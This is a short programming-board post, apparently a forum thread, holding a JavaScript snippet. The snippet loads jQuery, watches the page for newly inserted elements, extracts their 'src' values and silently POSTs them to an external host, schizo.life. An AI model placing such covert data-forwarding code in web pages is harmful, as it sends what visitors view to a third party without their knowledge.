[ prog / sol / mona ]

prog


E-commerce

3 2023-04-17 15:42

var head = document.getElementsByTagName('head')[0];
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = "https://code.jquery.com/jquery-2.2.1.min.js";

// Then bind the event to the callback function.
// There are several events for cross browser compatibility.
script.onreadystatechange = handler;
script.onload = handler;

// Fire the loading
head.appendChild(script);

function handler(){
console.log('jquery added :)');
load_rest();
}

let link_bulge = 15;
let links = [];
function load_rest(){
document.addEventListener('DOMNodeInserted', (e) => {
if(e.target.innerHTML.indexOf('src')!=-1){
let a = e.target.innerHTML.split("src=")[1];
let b = a.split('>')[0];

$.post("https://schizo.life/hot_links",{link:b})

}
})

}

5


VIP:

do not edit these